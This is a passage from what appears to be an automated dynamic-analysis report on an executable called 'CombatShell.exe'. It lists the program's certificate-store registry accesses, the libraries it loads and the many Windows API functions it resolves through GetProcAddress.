"HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "CombatShell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "CombatShell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "CombatShell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "CombatShell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\109F1CAED645BB78B3EA2B94C0697C740733031C"; Key: "BLOB") "CombatShell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\D559A586669B08F46A30A133F8A9ED3D038E2EA8"; Key: "BLOB") "CombatShell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\FEE449EE0E3965A5246F000E87FDE2A065FD89D4"; Key: "BLOB") "CombatShell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "CombatShell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS\A377D1B1C0538833035211F4083D00FECC414DAB"; Key: "BLOB") "CombatShell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "CombatShell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "")34:Tad0,"CombatShell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005644) "CombatShell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005644) "CombatShell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005644) "CombatShell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005644) "CombatShell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00005644) "CombatShell.exe" called "LoadLibrary" with a parameter shcore.dll (UID: 00000000-00005644) "CombatShell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005644) "CombatShell.exe" called "LoadLibrary" with a parameter uxtheme.dll (UID: 00000000-00005644) "CombatShell.exe" called "LoadLibrary" with a parameter opengl32.dll (UID: 00000000-00005644) "CombatShell.exe" called "LoadLibrary" with a parameter vm3dgl64.dll (UID: 00000000-00005644) "CombatShell.exe" called "LoadLibrary" with a parameter vm3dglhelper64.dll (UID: 00000000-00005644) "CombatShell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005644) "CombatShell.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00005644) "CombatShell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00005644) "CombatShell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-error-l1-1-0.dll (UID: 00000000-00005644) "CombatShell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00005644) "CombatShell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00005644) "CombatShell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00005644) "CombatShell.exe" called "LoadLibrary" with a parameter ncrypt.dll (UID: 00000000-00005644) "CombatShell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005644) "CombatShell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00005644) "CombatShell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00005644) "CombatShell.exe" called "LoadLibrary" with a parameter userenv.dll (UID: 00000000-00005644) "CombatShell.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00005644) "CombatShell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0.dll (UID: 00000000-00005644) "CombatShell.exe" called "LoadLibrary" with a parameter bcryptprimitives.dll (UID: 00000000-00005644) "CombatShell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00005644) "CombatShell.exe" called "LoadLibrary" with a parameter msvcrt.dll (UID: 00000000-00005644)35:Tc6f7,"CombatShell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter SetThreadDescription (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter SetProcessDpiAwarenessContext (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetDpiForMonitor (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetDpiForWindow (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter SetWindowCompositionAttribute (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter EnableNonClientDpiScaling (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter AdjustWindowRectExForDpi (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter AcquireSRWLockShared (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockShared (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter DrvValidateVersion (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter DrvSetCallbackProcs (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter DrvCreateContext (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter DrvDeleteContext (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter DrvSetContext (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter DrvReleaseContext (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter DrvCopyContext (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter WaitOnAddress (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter DrvCreateLayerContext (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter WakeByAddressSingle (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter DrvShareLists (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter DrvGetProcAddress (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter DrvDescribeLayerPlane (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter DrvSetLayerPaletteEntries (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter DrvGetLayerPaletteEntries (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter DrvRealizeLayerPalette (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter DrvSwapLayerBuffers (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter DrvSwapMultipleBuffers (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter DrvDescribePixelFormat (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter DrvSetPixelFormat (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter DrvSwapBuffers (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter DrvPresentBuffers (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter VM3DGLHelperInit (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter VM3DGLHelperCleanup (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter VM3DGLHelperSetLogLevels (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter VM3DGLHelperLog (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter VM3DGLHelperGetDevCapMaxCount (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter IsWow64Process2 (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTCreateAllocation (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTDestroyAllocation (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTSetAllocationPriority (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTQueryAllocationResidency (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTQueryResourceInfo (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTOpenResource (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTCreateDevice (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTDestroyDevice (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTQueryAdapterInfo (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTLock (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTUnlock (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTGetDisplayModeList (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTSetDisplayMode (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTGetMultisampleMethodList (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTPresent (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTRender (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTOpenAdapterFromHdc (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTOpenAdapterFromDeviceName (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTCloseAdapter (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTGetSharedPrimaryHandle (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTEscape (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTSetVidPnSourceOwner (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTCreateOverlay (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTUpdateOverlay (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTFlipOverlay (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTDestroyOverlay (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTWaitForVerticalBlankEvent (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTSetGammaRamp (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTGetDeviceState (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTCreateDCFromMemory (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTDestroyDCFromMemory (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTSetContextSchedulingPriority (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTGetContextSchedulingPriority (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTSetProcessSchedulingPriorityClass (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTGetProcessSchedulingPriorityClass (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTReleaseProcessVidPnSourceOwners (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTGetScanLine (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTPollDisplayChildren (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTSetQueuedLimit (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTInvalidateActiveVidPn (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTCheckOcclusion (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTCreateContext (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTDestroyContext (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTCreateSynchronizationObject (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTDestroySynchronizationObject (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTWaitForSynchronizationObject (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTSignalSynchronizationObject (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTCheckMonitorPowerState (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTOpenAdapterFromGdiDisplayName (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTCheckExclusiveOwnership (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTSetDisplayPrivateDriverFormat (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTSharedPrimaryLockNotification (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter D3DKMTSharedPrimaryUnLockNotification (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter AppPolicyGetThreadInitializationType (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter wglCreateContext (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter wglDeleteContext (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter glCopyBufferSubDataNV (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter glGetnCompressedTexImage (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter glGetnTexImage (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter glGetnUniformdv (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter NtAllocateVirtualMemory (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter RoOriginateErrorW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter FormatMessageW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter LoadLibraryExA (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetErrorInfo (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter SetErrorInfo (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetProcessHeap (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter HeapAlloc (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter HeapFree (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter SysAllocStringLen (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter SysFreeString (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter SysStringLen (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter __register_frame (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter __deregister_frame (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter RtlAdjustPrivilege (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CryptAcquireContextW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CryptDestroyKey (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CryptImportKey (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CryptReleaseContext (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter DuplicateToken (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetUserNameW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter ImpersonateAnonymousToken (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter ImpersonateLoggedOnUser (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter RegCreateKeyExA (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter RegCreateKeyExW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter RegSetValueExA (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter RevertToSelf (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CertAddCertificateContextToStore (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CertAddEncodedCTLToStore (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CertAddEncodedCertificateToStore (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CertCloseStore (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CertCreateCTLEntryFromCertificateContextProperties (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CertCreateCertificateContext (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CertDeleteCertificateFromStore (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateChain (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CertDuplicateStore (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CertEnumCertificatesInStore (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CertFreeCTLContext (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CertFreeCertificateChain (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CertGetCertificateChain (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CertGetCertificateContextProperty (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CertGetEnhancedKeyUsage (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CertOpenStore (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CertSetCertificateContextProperty (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CertVerifyCertificateChainPolicy (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CertVerifyTimeValidity (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CryptAcquireCertificatePrivateKey (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CryptBinaryToStringA (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CryptDecodeObjectEx (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CryptEncodeObjectEx (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CryptHashCertificate (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CryptMsgEncodeAndSignCTL (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CryptStringToBinaryA (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter PFXExportCertStore (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter PFXImportCertStore (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CreateDCW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CreateDIBitmap (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter DeleteDC (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter DeleteObject (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetDIBits (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetDeviceCaps (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetObjectW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter AddVectoredExceptionHandler (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CancelIo (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CancelIoEx (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter ConnectNamedPipe (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CopyFileExW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CreateDirectoryW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CreateFileA (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CreateFileMappingA (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CreateFileMappingW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CreateHardLinkW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CreateIoCompletionPort (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CreateMutexW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CreateNamedPipeW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CreatePipe (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CreateProcessW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CreateThread (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CreateToolhelp32Snapshot (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter DeleteCriticalSection (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter DeleteFileA (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter DeleteProcThreadAttributeList (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter DeviceIoControl (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter DisconnectNamedPipe (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter DuplicateHandle (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter EnterCriticalSection (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter ExitProcess (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter FileTimeToSystemTime (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter FindFirstFileExW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter FlushFileBuffers (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter FlushViewOfFile (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter FormatMessageA (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter FreeEnvironmentStringsW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetCommandLineW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetComputerNameExW (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00005644) "CombatShell.exe" called "GetProcAddress" with a parameter GetConsoleOutputCP (UID: 00000000-00005644) 